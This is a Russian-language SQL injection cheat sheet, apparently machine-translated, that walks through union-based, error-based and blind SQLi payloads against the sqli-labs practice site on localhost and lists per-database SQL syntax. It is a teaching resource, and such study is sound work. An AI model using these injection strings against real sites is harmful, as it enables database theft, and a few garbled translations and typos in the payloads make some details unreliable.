Скачайте PDF справочник по SQL инъекциям для быстрого обращения.

Интересуетесь карьерой в области кибербезопасности? Изучите одну из наиболее распространенных кибератак с помощью этой шпаргалки по SQL-инъекциям.

 

Риски кибератак в 2023 году бушуют безудержно. Такие атаки подвергают риску целостность и надежность ценных данных, делая кибербезопасность сейчас более важной, чем когда-либо. Одним из распространенных типов кибератак является SQL-инъекция, которая манипулирует базой данных и пытается получить доступ к хранимой информации. Эта атака более распространена, если ваш сайт хранит важную пользовательскую информацию.

IT-специалисты должны научиться анализировать испорченные данные, включая изучение полезных фактов и ярлыков. Вот почему мы создали этот шпаргалку по SQL-инъекциям для вашего справочника. В нем вы найдете распространенные команды SQL-инъекции, список кодов SQL-инъекции и многое другое.

Используйте этот шпаргалку по SQL-инъекциям для изучения различных вариантов уязвимости SQL-инъекции.

Но прежде чем мы продолжим, давайте обсудим SQL-атаки инъекций.

Что такое SQL-атака инъекций?

SQL-инъекция называется также SQLi. В атаке SQLi злоумышленник внедряет вредоносный SQL-код, чтобы преднамеренно атаковать, получать доступ и изменять базу данных веб-сайта.

В этой атаке хакеры пытаются получить доступ к конфиденциальным данным, таким как банковские реквизиты, личная информация, имя пользователя, пароли и другие. После получения доступа к данным они могут изменить их или украсть, вызывая огромные ущерб безопасности и риски для вашего бизнеса и клиентов.

Далее давайте рассмотрим различные типы SQL-инъекций, чтобы вы могли лучше понять, как работает эта атака и возможные места, откуда злоумышленник может атаковать вашу базу данных.

Различные типы SQL-атак инъекций

Вот некоторые различные типы SQL-атак инъекций.

  • В-полосе SQLi (Классический): Злоумышленник использует тот же коммуникационный канал для запуска атак и сбора результатов. Это одна из самых распространенных SQL-атак инъекций, так как она легко реализуется. Существуют также несколько подтипов атак в-полосе SQLi:
  • Атака на основе ошибок SQLi: Злоумышленник выполняет некоторые действия на базе данных, создавая сообщения об ошибках. Затем они могут извлечь данные, используя эти сообщения об ошибках, такие как структура базы данных.
  • Атака на основе UNION SQLi: Эта техника работает с использованием оператора UNION SQL, который объединяет несколько операторов SELECT, чтобы получить один HTTP-отклик, содержащий данные, которые полезны злоумышленнику.
  • В-полосе SQLi (Скрытый): В этом типе атаки злоумышленник отправляет вредоносные SQL-вводы данных на сервер и анализирует ответ и поведение сервера, чтобы узнать структуру базы данных. В отличие от атаки на основе в-полосе SQLi, данные не передаются из базы данных сайта злоумышленнику. Таким образом, извлеченные данные нельзя увидеть в-полосе. Слепые SQL-инъекции медленнее, так как они полагаются на ответ сервера и его поведенческие особенности. Возьмите во внимание следующие подтипы атак, когда концептуализируете шпаргалку по слепым SQL-инъекциям:
  • Булева: Злоумышленник отправляет SQL-запрос на базу данных, чтобы приложение возвращало данные в зависимости от того, является ли запрос истинным или ложным. Результат также влияет на HTTP-ответ и добавляет информацию в HTTP-ответ, которую использует злоумышленник.
  • Основанная на времени: Злоумышленник отправляет SQL-запрос на базу данных, чтобы заставить ее ждать перед реагированием. Злоумышленник анализирует время, затраченное базой данных. Затем на основе результата будет сгенерирован HTTP-ответ мгновенно или после временного ожидания, используемого злоумышленником.
  • Слепая SQL-инъекция вне объема привязки: Эта атака будет работать только в том случае, если на сервере базы данных включены определенные функции. Хакеры выполняют слепые SQL-инъекции как крайнюю меру, когда вышеперечисленные два типа атак не работают. Здесь основной упор делается на возможность сервера создавать DNS- или HTTP-запросы для передачи данных злоумышленнику.

Теперь мы рассмотрим некоторые примеры атак SQL-инъекций.

Примеры SQL-инъекций

Для этих примеров мы используем серию SQLi-lab от Audi1, исходный код которой вы можете найти здесь, чтобы воссоздать атаки SQLi. Основная цель – получение доступа к данным, хранящимся в базе данных.

Перейдем дальше, мы предложим шпаргалку по SQL-инъекциям на основе UNION, которая будет использовать SQL-запросы к базе данных, чтобы соответствовать запросу. Это означает, что процесс SQLi атаки может меняться. Два основных момента, помогающих векторам атак SQLi на любом приложении, следующие:

  • Отображение ошибок SQL.
  • Отображение вывода SQL.

Атаки на основе UNION SQLi

Атаки на основе UNION SQLi – это тип SQLi в полосе и самый простой, поскольку злоумышленник легко может понять запросы к базе из ошибок SQL и увидеть результаты запроса.

Сайт выглядит так, как будто в него внедренного кода нет, как показано ниже:

Вы можете легко повлиять на этот сайт, используя SQLi с использованием оператора UNION.

Сначала мы добавим «?id=1» в URL, чтобы получить обычный результат:

URL: http://localhost:8081/sqli-labs/Less-1/?id=1

Сайт работал нормально. Но теперь мы добавим вредоносный код, чтобы взломать сайт.

Сначала представьте, что разработчик мог использовать в задней части приложения. Здесь мы предполагаем, что разработчик мог использовать следующую структуру оператора SQL для применения и проверки метода.

SELECT <col_1>, <col_2>, ..., <col_n> FROM <database_name>.<table_name> WHERE <username> = '<user_input>' AND <password> = '<user_password>' LIMIT 0,1

Но убедитесь, что у вас есть хорошие знания SQL прежде чем продолжать.

В приведенном выше примере слова, используемые в угловых скобках, еще не подтверждены. Оставшаяся часть – это синтаксис и ключевые слова языка, которые могут различаться в зависимости от типа базы данных.

Теперь мы разрушим оператор SQL, добавив одинарную кавычку (‘), двойные кавычки (“) или символ экранирования (обратный слеш (\) в SQL).

Обычно в операторах SQL одиночные или двойные кавычки заключают вводимые пользователем строки. Но если мы использовать любой из них в середине запроса, он нарушит структуру оператора SQL и вызовет ошибку на экране.

URL: localhost:8081/sqli-labs/Less-1/?id=1\

Как видите, вы получите ошибку. Поэтому вам нужно проверить, какой символ (‘,’’, \) вызвал эту ошибку. Теперь мы вставим вредоносный SQL-запрос в простой аргумент. Но сначала убедитесь, что код сбалансирован и готов к выполнению.

Например, если разработчик использовал скобку, мы также должны добавить скобку, чтобы сбалансировать код. Вы также можете добавить символ комментария для сбалансирования оператора.

URL: localhost:8081/sqli-labs/Less-1/?id=1’–+

Чтобы сбалансировать код, вам необходимо знать количество столбцов таблицы, которые помогут вам вывести результат запроса после объединения с исходным результатом.

Чтобы узнать количество столбцов, вы можете использовать выражение ‘ORDER BY’, которое упорядочивает (asc/dsc) записи в таблице на основе заданного номера столбца. Но если мы указываем номер столбца, превышающий реальное общее количество, мы получим ошибку. Вы можете использовать выражение ‘ORDER BY’ следующим образом.

SELECT col1 FROM table1 ORDER BY 1

В приведенном запросе результаты запроса будут отсортированы по номеру столбца 1.

Чтобы узнать максимальное количество столбцов для успешного результата, вам нужно начать с меньших значений и двигаться к большим. Для этого сайта мы использовали максимальное количество столбцов: три.

URL: localhost:8081/sqli-labs/Less-1/?id=1’+order+by+3–+

На рисунке выше обратите внимание, что «%27» в URL является URL-кодировкой для одинарной кавычки (‘), а ‘+’ используется для обозначения пробела. Мы получили ошибку, связанную с превышением максимального числа столбцов. Теперь мы попробуем использовать номер столбца 4.

URL: localhost:8081/sqli-labs/Less-1/?id=1’+order+by+4–+

Заменив оператор «ORDER BY» на оператор «UNION», мы создали возможность забрасывать данные на экран.

URL: localhost:8081/sqli-labs/Less-1/?id=1’+union+select+1,2,3–+

Теперь мы жестко задали значения столбцов для объединения, чтобы увидеть, что данные выводятся.

В объединении двух таблиц количество столбцов обеих таблиц должно быть равным, но здесь их три. Мы заменили действительный идентификатор недействительным, чтобы отобразить данные. Теперь после объединения у нас остается только одна строка, которая будет результатом нашего внедренного запроса.

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,2,3–+

Здесь мы использовали -1, чтобы сделать идентификатор недействительным, и теперь вместо исходных данных отображаются наши данные -2 и +3. Теперь мы будем использовать функции базы данных для извлечения информации из базы данных.

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,database(),3–+

В вышеприведенном URL мы использовали функцию «database()» вместо «2» во внедренном запросе для получения текущего имени базы данных – «security». Ниже перечислены некоторые общие SQL-функции для извлечения информации.

  • version(): для получения текущей версии SQL.
  • @@datadir: для получения каталога, в котором находится база данных SQL.
  • User () или current_user: для получения пользователя, который создал или управляет базой данных.

Предположим, вам нужно извлечь названия таблиц, названия столбцов и информацию о полях. В этом случае вы можете использовать конкретные таблицы из базы данных с именем «information_schema», в которой хранится метаданные всех пользовательских баз данных, таблиц и столбцов.

Мы используем следующий запрос для извлечения таблиц из текущей базы данных.

SELECT table_name FROM information_schema.tables from table_schema=database() LIMIT 0,1;

Это вернет названия таблиц в текущей базе данных, увеличивая первый аргумент после оператора «LIMIT».

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,table_name,3+from+information_schema.tables+where+table_schema=database()+limit+0,1–+

Вы также можете использовать таблицу «columns» в базе данных «information_schema» для получения названий столбцов из указанной таблицы.

SELECT column_name FROM information_schema.columns WHERE table_name = <specific_table_name> LIMIT 0,1;

Как и с названиями таблиц, вы также можете получить названия столбцов из указанной таблицы и пройти через все строки таблицы «columns»:

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,column_name,3+from+information_schema.columns+where+table_name=‘emails’+limit+0,1–+

Имя первого столбца таблицы ’emails’ из базы данных ‘security’ – это ‘id’. Аналогично, имя второго столбца – ’email_id’.

Теперь мы будем внедрять следующий SQL-запрос.

SELECT email_id FROM emails LIMIT 0,1

После этого вы получите следующий результат.

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,email_id,3+from+emails+limit+0,1–+

Таким образом, вы можете внедрять запросы для получения доступа к данным, хранящимся в базе данных.

SQLi на основе ошибок

Этот тип атаки предоставляет вам сообщение об ошибке вместо вывода, поэтому вам нужно только внедрять вредоносный код в SQL-ошибки. См. пример изображения ниже:

URL: localhost:8081/sqli-labs/Less-5/?id=1

Чтобы отобразить ошибку SQL на экране, вы можете использовать одной или двойные кавычки.

URL: localhost:8081/sqli-labs/Less-5/?id=1’

Подход такой же, как и в SQLi на основе объединения. Единственное отличие заключается в том, что можно выполнять только определенные запросы. Заявление будет немного сложнее, чтобы вызвать ошибку SQL для выгрузки вывода запроса.

SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) )a FROM information_schema.columns GROUP BY a ) b;

Мы разобьем вышеприведенный запрос на подзапросы для лучшего понимания:

Вредоносный код – это ‘SELECT database()’, который отображает текущее имя базы данных, но в ошибке SQL. Здесь мы возьмем несколько строк, которые могут быть дублированы, и попытаемся поместить их в один пакет или представление. В случае дублированных строк вы получите ошибку времени выполнения от SQL при вставке дубликатов и необходимый результат.

Как только вы поймете, как работает этот сложный запрос, вы можете заменить часть ‘SELECT database()’ на более обширные запросы. Мы объяснили подзапросы в вышеприведенном сложном запросе.

  • SELECT database() :

Для получения имени текущей базы данных. Вы можете заменить его на другие запросы.

  • floor(rand() * 2) :

Для получения случайного числа, либо ноль, либо единицу.

  • CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) ) :

Он объединит двоеточия слева и справа от имени базы данных и случайно 0 или 1 в конце.

  • SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) )a FROM information_schema.columns GROUP BY a

Часть запроса между начальным ‘select’ и ‘from’ будет повторяться несколько раз, равное количеству строк в таблице столбцов из базы данных information_schema. Мы намеренно повторяем его для генерации дубликатов строк, чтобы вызвать ошибки времени выполнения. Эта часть запроса выберет количество строк в соответствии с группировкой по ‘a’, который является алиасом предыдущего сконкатенированного результата и сконкатенированной части.

SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) )a FROM information_schema.columns GROUP BY a ) b;

Теперь мы просто вложили предыдущий запрос в другое выражение select для получения одного столбца. Нам не нужен результат, который он возвращает здесь, поэтому мы захардкодили его в 1, так как нам нужна только ошибка SQL.

Кроме того, есть символ ‘b’, который дает псевдоним внутреннему оператору вложенных запросов и возвращает одну строку.

URL: localhost:8081/sqli-labs/Less-5/?id=1’+and+(SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2))a FROM information_schema.columns GROUP BY a)b)–+

Если дубликатов нет, вы получите вышеуказанную ошибку. Мы проигнорируем ее и продолжим попытки, обновляя страницу.

URL: localhost:8081/sqli-labs/Less-5/?id=1’+and+(SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2))a FROM information_schema.columns GROUP BY a)b)–+

Таким образом, вы получите имя базы данных между двоеточиями с каждой стороны, и также сможете извлекать другие данные из базы данных.

Шпаргалка по слепым атакам на SQL-инъекции

Здесь подход также тот же, но с небольшим дополнительным трюком.

URL: localhost:8081/sqli-labs/Less-8/?id=1’

Как вы видите на изображении выше, нет сообщения об ошибке и нет вывода из SQL-запроса. Отсюда вы можете инжектировать данные. Для этого мы будем использовать функцию sleep() или логическое выражение, чтобы получить результаты истинности или ложности. Мы сделаем это двумя разными способами, как объяснено ниже.

Основанный на задержке времени:

С помощью функции sleep() мы создадим задержку в ответе SQL-запроса с указанным временем в качестве параметра.

Основанный на логическом выражении:

Вы также можете получать истинные или ложные результаты с помощью положительного сообщения, если запрос успешно выполняется или ничего. Для этого вам нужно сначала создать истинное выражение и проверить, получаете ли вы общее сообщение. Затем вы можете добавить наш запрос, чтобы увидеть, получаете ли вы сообщение, что оно истинно, или нет.

Теперь нашей задачей является преобразование таблиц или баз данных в запросы, приводящие к истине или лжи. Вы можете использовать функцию ‘substring()’, чтобы получить подстроку из заданной строки для создания логических запросов. Функция ‘substring()’ принимает три параметра: исходная строка, начальный индекс подстроки (индексация начинается с единицы) и несколько символов для токенизации.

substring(<исходная_строка>, <начальный_индекс>, <количество_символов>)

Для включения условных операторов вы также можете использовать операторы ‘if()’, где первый параметр – это условие, второй – задача для истинного условия, а третий параметр – задача, которая должна быть выполнена в случае ложного условия.

if(<условие>, <запрос1>, <запрос2>)

Таким образом, мы можем перебирать буквы или числа, чтобы увидеть, соблюдены ли условия.

В этом случае у нас уже есть имя базы данных (‘security’), поэтому мы можем использовать следующий запрос:

if( (substring(database(), 0, 1) == ‘s’), sleep(5), null)

Мы использовали функцию sleep() со значением 5, чтобы задержать ответ базы данных на 5 секунд, если первый символ имени базы данных – ‘s’, и ничего не делать. В этом случае вы получите запланированный отклик с задержкой в 5 секунд.

URL: http://localhost:8081/sqli-labs/Less-8/?id=1’+and+if( (substring(database(),1,1) = ‘s’),sleep(5),null)–+

В логике на основе булевых значений вы либо получаете сообщение, либо ничего. Если вы получаете сообщение, запрос возвращает true, в противном случае false.

1’ and (substring(database(), 1, 1) = ‘s’) –+

URL: localhost:8081/sqli-labs/Less-8/?id=1’+and+(substring(database(), 1, 1) = ‘s’)–+

Этот метод хитрый, так как вы должны попробовать все возможности, что занимает большую часть вашего времени. Другой менее эффективный способ – использовать функцию ‘ascii()’, чтобы преобразовать символы в ascii-коды для сравнения чисел, и, следовательно, можно использовать операторы отношения.

if( (ascii(substring(database(), 0, 1)) = 115), sleep(5), null )

SQL-команды для инъекций

Выше мы рассмотрели некоторые полезные синтаксические структуры при проведении атак SQL-инъекций. Вот некоторые распространенные SQL-команды для инъекций:

Конкатенация строк

Эта команда объединяет несколько строк в одну.

Oracle

‘hel’||’met’

Microsoft

‘hel’+’met’

PostgreSQL

‘hel’||’met’

MySQL

‘hel’ ‘met’ [Обратите внимание на пробел между двумя строками]

CONCAT(‘hel’,’met’)

Подстрока

Эта команда возвращает указанную часть строки.

Oracle

SUBSTR(‘helmet’, 4, 2)

Microsoft

SUBSTRING(‘helmet’, 4, 2)

PostgreSQL

SUBSTRING(‘helmet’, 4, 2)

MySQL

SUBSTRING(‘helmet’, 4, 2)

Комментарии

Эта команда удаляет часть кода перед выполнением запроса.

Oracle

–comment

Microsoft

–comment

/*comment*/

PostgreSQL

–comment

/*comment*/

MySQL

#comment

— comment [Обратите внимание на пробел после двойного дефиса]

/*comment*/

Версия базы данных

Чтобы получить текущую версию базы данных.

Oracle

SELECT banner FROM v$version

SELECT version FROM v$instance

Microsoft

SELECT @@version

PostgreSQL

SELECT version()


Leave a Reply

Your email address will not be published. Required fields are marked *